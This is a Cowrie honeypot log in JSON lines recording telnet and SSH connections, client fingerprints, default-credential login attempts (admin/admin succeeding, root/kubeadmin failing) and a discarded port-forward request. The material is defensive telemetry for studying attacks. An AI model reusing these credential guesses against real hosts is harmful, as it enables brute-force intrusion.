{"eventid":"cowrie.session.closed","duration":30.82981014251709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:25.998127Z","src_ip":"162.254.118.99","session":"1c596e1e33fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":37184,"dst_ip":"159.203.135.109","dst_port":23,"session":"dee7dda25dfc","protocol":"telnet","message":"New connection: 149.56.37.12:37184 (159.203.135.109:23) [session: dee7dda25dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:26.097252Z"}
{"eventid":"cowrie.session.closed","duration":36.97458839416504,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:28.930506Z","src_ip":"149.56.37.12","session":"495628da4438","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":45148,"dst_ip":"159.203.135.109","dst_port":23,"session":"25cf04879e82","protocol":"telnet","message":"New connection: 149.56.37.12:45148 (159.203.135.109:23) [session: 25cf04879e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:31.420339Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":46296,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a569f31f3c2","protocol":"telnet","message":"New connection: 149.56.37.12:46296 (159.203.135.109:23) [session: 1a569f31f3c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:32.173121Z"}
{"eventid":"cowrie.session.closed","duration":30.877022981643677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:33.027399Z","src_ip":"162.254.118.99","session":"c4c85329312e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":48842,"dst_ip":"159.203.135.109","dst_port":23,"session":"812bc5b092fa","protocol":"telnet","message":"New connection: 149.56.37.12:48842 (159.203.135.109:23) [session: 812bc5b092fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:33.756613Z"}
{"eventid":"cowrie.session.closed","duration":34.2625675201416,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:34.574854Z","src_ip":"149.56.37.12","session":"5d6eebe76daa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.01975178718567,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:35.078836Z","src_ip":"149.56.37.12","session":"4c5ee6653801","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.16874885559082,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:36.960048Z","src_ip":"149.56.37.12","session":"2d6ca1d935fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":55198,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bc8b9ca41ab","protocol":"telnet","message":"New connection: 149.56.37.12:55198 (159.203.135.109:23) [session: 2bc8b9ca41ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:37.709938Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":40780,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7e6350bee69","protocol":"telnet","message":"New connection: 162.254.118.99:40780 (159.203.135.109:23) [session: a7e6350bee69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:38.172485Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":56148,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a39da93f627","protocol":"telnet","message":"New connection: 149.56.37.12:56148 (159.203.135.109:23) [session: 3a39da93f627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:38.391303Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.208.249","src_port":44520,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac516a5c9bd2","protocol":"telnet","message":"New connection: 41.76.208.249:44520 (159.203.135.109:23) [session: ac516a5c9bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:38.676213Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":10316,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8c6f0facaa7","protocol":"telnet","message":"New connection: 167.250.105.129:10316 (159.203.135.109:23) [session: a8c6f0facaa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:39.146977Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":57246,"dst_ip":"159.203.135.109","dst_port":23,"session":"beb40be77638","protocol":"telnet","message":"New connection: 149.56.37.12:57246 (159.203.135.109:23) [session: beb40be77638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:39.285758Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":40584,"dst_ip":"159.203.135.109","dst_port":23,"session":"82e9d6d45e97","protocol":"telnet","message":"New connection: 162.254.118.99:40584 (159.203.135.109:23) [session: 82e9d6d45e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:41.132614Z"}
{"eventid":"cowrie.session.closed","duration":37.98163866996765,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:42.220984Z","src_ip":"149.56.37.12","session":"ce4012a6c7b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.886796474456787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:43.096121Z","src_ip":"162.254.118.99","session":"cc3cf355677b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":35044,"dst_ip":"159.203.135.109","dst_port":23,"session":"40348d5716c4","protocol":"telnet","message":"New connection: 149.56.37.12:35044 (159.203.135.109:23) [session: 40348d5716c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:43.453411Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":41472,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6916ad1f344","protocol":"telnet","message":"New connection: 149.56.37.12:41472 (159.203.135.109:23) [session: c6916ad1f344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:47.760318Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":43532,"dst_ip":"159.203.135.109","dst_port":23,"session":"e520d583e816","protocol":"telnet","message":"New connection: 149.56.37.12:43532 (159.203.135.109:23) [session: e520d583e816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:49.128713Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":47826,"dst_ip":"159.203.135.109","dst_port":23,"session":"3be09f9903e3","protocol":"telnet","message":"New connection: 149.56.37.12:47826 (159.203.135.109:23) [session: 3be09f9903e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:51.983141Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":52140,"dst_ip":"159.203.135.109","dst_port":22,"session":"6428af11b728","protocol":"ssh","message":"New connection: 45.120.216.232:52140 (159.203.135.109:22) [session: 6428af11b728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:53.324358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:53.330256Z","src_ip":"45.120.216.232","session":"6428af11b728","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:53.564131Z","src_ip":"45.120.216.232","session":"6428af11b728","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":5288,"dst_ip":"10.17.0.5","dst_port":22,"session":"e71beee69462","protocol":"ssh","message":"New connection: 87.251.64.176:5288 (10.17.0.5:22) [session: e71beee69462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:54.025585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:54.031079Z","src_ip":"87.251.64.176","session":"e71beee69462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:54.128659Z","src_ip":"87.251.64.176","session":"e71beee69462","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:54.419222Z","src_ip":"87.251.64.176","session":"e71beee69462","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:54.519357Z","session":"e71beee69462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kubeadmin","message":"login attempt [root/kubeadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:54.525501Z","src_ip":"45.120.216.232","session":"6428af11b728","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:54.618120Z","src_ip":"87.251.64.176","session":"e71beee69462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:54.870263Z","src_ip":"87.251.64.176","session":"e71beee69462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"84.247.145.90","src_port":58232,"dst_ip":"159.203.135.109","dst_port":23,"session":"826edbdd74ad","protocol":"telnet","message":"New connection: 84.247.145.90:58232 (159.203.135.109:23) [session: 826edbdd74ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:54.938560Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:55.761322Z","src_ip":"45.120.216.232","session":"6428af11b728","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47726,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca9aba3abdfe","protocol":"ssh","message":"New connection: 159.203.92.129:47726 (159.203.135.109:22) [session: ca9aba3abdfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:58.507184Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:58.514180Z","src_ip":"159.203.92.129","session":"ca9aba3abdfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:58.520001Z","src_ip":"159.203.92.129","session":"ca9aba3abdfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"666666","message":"login attempt [admin1/666666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:58.538663Z","src_ip":"159.203.92.129","session":"ca9aba3abdfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:59.546753Z","src_ip":"159.203.92.129","session":"ca9aba3abdfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.55202007293701,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:03:59.578673Z","src_ip":"149.56.37.12","session":"0cfb1e624c4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.55938768386841,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:00.614506Z","src_ip":"149.56.37.12","session":"0431fa1ff668","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.0036416053772,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:01.184340Z","src_ip":"149.56.37.12","session":"56c4176f7cc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.4088773727417,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:02.506027Z","src_ip":"149.56.37.12","session":"dee7dda25dfc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":48596,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8575b7ccc82","protocol":"telnet","message":"New connection: 162.254.118.99:48596 (159.203.135.109:23) [session: e8575b7ccc82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:04.622234Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":48612,"dst_ip":"159.203.135.109","dst_port":23,"session":"66ac1684d82d","protocol":"telnet","message":"New connection: 162.254.118.99:48612 (159.203.135.109:23) [session: 66ac1684d82d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:05.167957Z"}
{"eventid":"cowrie.session.connect","src_ip":"84.247.145.90","src_port":58234,"dst_ip":"159.203.135.109","dst_port":23,"session":"497b23072b14","protocol":"telnet","message":"New connection: 84.247.145.90:58234 (159.203.135.109:23) [session: 497b23072b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:05.584660Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":41326,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0e7b2e77a5a","protocol":"telnet","message":"New connection: 149.56.37.12:41326 (159.203.135.109:23) [session: d0e7b2e77a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:06.076527Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":48624,"dst_ip":"159.203.135.109","dst_port":23,"session":"94e280ea8a43","protocol":"telnet","message":"New connection: 162.254.118.99:48624 (159.203.135.109:23) [session: 94e280ea8a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:06.139226Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":42056,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bae0458f721","protocol":"telnet","message":"New connection: 149.56.37.12:42056 (159.203.135.109:23) [session: 8bae0458f721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:06.624270Z"}
{"eventid":"cowrie.session.closed","duration":33.17874574661255,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:06.935228Z","src_ip":"149.56.37.12","session":"812bc5b092fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":43782,"dst_ip":"159.203.135.109","dst_port":23,"session":"b305b7d8411a","protocol":"telnet","message":"New connection: 149.56.37.12:43782 (159.203.135.109:23) [session: b305b7d8411a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:07.699904Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.254.118.99","src_port":48632,"dst_ip":"159.203.135.109","dst_port":23,"session":"905f4904b1c3","protocol":"telnet","message":"New connection: 162.254.118.99:48632 (159.203.135.109:23) [session: 905f4904b1c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:08.131356Z"}
{"eventid":"cowrie.session.closed","duration":30.818822383880615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:08.991144Z","src_ip":"162.254.118.99","session":"a7e6350bee69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.460562705993652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:09.136589Z","src_ip":"41.76.208.249","session":"ac516a5c9bd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.88228392601013,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:11.302498Z","src_ip":"149.56.37.12","session":"25cf04879e82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.356311321258545,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:11.529311Z","src_ip":"149.56.37.12","session":"1a569f31f3c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.869832754135132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:12.002328Z","src_ip":"162.254.118.99","session":"82e9d6d45e97","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.04113507270813,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:14.326678Z","src_ip":"149.56.37.12","session":"beb40be77638","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.054882287979126,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:14.764472Z","src_ip":"149.56.37.12","session":"2bc8b9ca41ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.971293210983276,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:15.362509Z","src_ip":"149.56.37.12","session":"3a39da93f627","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":59388,"dst_ip":"159.203.135.109","dst_port":23,"session":"a59334c9cece","protocol":"telnet","message":"New connection: 149.56.37.12:59388 (159.203.135.109:23) [session: a59334c9cece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:04:16.568345Z"}
